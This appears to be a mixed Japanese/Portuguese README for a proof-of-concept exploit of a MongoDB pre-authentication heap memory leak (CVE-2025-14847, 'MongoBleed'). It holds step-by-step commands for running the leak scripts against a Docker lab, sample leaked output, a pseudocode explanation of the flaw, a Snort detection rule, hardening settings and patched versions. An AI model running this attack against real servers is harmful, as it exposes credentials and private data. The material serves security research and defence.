
MongoDBの認証前ヒープメモリ開示脆弱性であるCVE-2025-14847(MongoBleed)の機能的な概念実証エクスプロイト。自動メモリリーク検出、パターン分析、許可されたセキュリティテストと研究のためのDockerベースのラボ環境を含みます。
CVE-2025-14847 (MongoBleed) の完全な概念実証
テスト済み: ✅ MongoDB 7.0.5 | 14,300+ 件のエクスプロイト成功 | 4 件のUUIDリーク
このリポジトリには、CVE-2025-14847(MongoBleed として知られる)に対する**完全に機能する概念実証(PoC)**が含まれています。これは、MongoDBにおける認証前のヒープメモリ情報漏えいという重大な欠陥です。
2025年12月、ゲームRainbow Six Siegeは大規模な攻撃を受け、約50,000件のプレイヤーアカウントが侵害されました。攻撃者がバックエンドのMongoDBでこの脆弱性を悪用し、以下を漏えいさせたと疑われています:
R6S_SERVER_AUTH_*)TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)このPoCは、R6の現実的なデータを用いて攻撃をシミュレートします。
poc.py - パターン分析を備えたメインエクスプロイトlive_leaker.py - 高度なインクリメンタルスキャンpopular_heap.py - ターゲットデータでヒープを埋めるスクリプト246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
# Clone o repositório
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# Inicie o ambiente vulnerável
docker-compose up -d
# Aguarde inicialização (15-20s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
# 1. Popular heap com dados R6
python3 popular_heap.py 50
# 2. Verificar vulnerabilidade
python3 poc.py --target 127.0.0.1 --check
# 3. Explorar com live leaker (RECOMENDADO)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)
[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%
[!] PADRÕES R6 DETECTADOS (doc_len=245):
[UUID] 1 novo(s):
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
MongoDBはzlibを介したメッセージ圧縮を許可しています。この脆弱性は、宣言されたサイズと実際のサイズの検証が不適切であることに起因します:
Atacante → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
↓
Servidor aloca 1MB de heap ← VULNERABILIDADE
↓
Servidor descomprime apenas 50 bytes
↓
Servidor retorna 1MB inteiro!
└─ 50 bytes = dados reais
└─ ~1MB - 50 = VAZAMENTO DE MEMÓRIA
// ANTES DO PATCH
size_t uncompressedSize = header.uncompressedSize; // ← Controlado pelo atacante
buffer = malloc(uncompressedSize); // ← Aloca tamanho malicioso
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // ← VAZA BUFFER INTEIRO
MongoDBPoc/
├── poc.py # Exploit principal
├── live_leaker.py # Varredura incremental (✨ Recomendado)
├── popular_heap.py # Script de carga
├── docker-compose.yml # MongoDB 7.0.5 vulnerável
├── init-db.js # 1000 players + 500 sessions R6
├── GUIA_TECNICO_COMPLETO.md # Documentação detalhada (200+ páginas)
├── README.MD # Documentação em inglês
└── Portugues/ # Versões traduzidas
├── poc_PT.py
├── README_PT.md
└── GUIA_RAPIDO.md
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed Attempt";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
net:
bindIp: 127.0.0.1 # NUNCA 0.0.0.0!
compression:
compressors: [] # Desabilitar zlib
security:
authorization: enabled
GUIA_TECNICO_COMPLETO.md - 完全な技術分析(200ページ以上)
README.MD - メインドキュメント(英語)
Portugues/ - 翻訳版
このツールは、許可されたテストと教育のみを目的としています。
許可のない使用は違法であり、以下の結果を招く可能性があります:
- 刑事訴追(ブラジル法律12.737/2012)
- 高額な罰金
- 懲役
テストする前に必ず書面による許可を取得してください。
著者: Ermenson Jr
ライセンス: MIT(教育目的)
日付: 2026年1月
技術的な質問やセキュリティ研究への協力については:
責任ある攻撃的セキュリティ研究のために開発されました。
Ubisoft、MongoDB Inc.、Rainbow Six Siegeとは提携していません。
🔒 責任を持って使用してください。セキュリティはすべての人のために。 🔒
| メトリクス | 結果 |
|---|
| テスト済みMongoDB | 7.0.5(脆弱) |
| 成功率 | 100%(14,300/14,300リクエスト) |
| リークしたUUID | 4個(一意) |
| 合計リーク | 33個の異なる文字列 |
| 最大リーク | 176バイト/リクエスト |
| 検出されたパターン | ネットワークログ、UUID、システムパス |
| MongoDBシリーズ | 影響を受けるバージョン | 修正バージョン |
|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 |
| ≤ 4.2 | すべて | パッチなし(EOL) |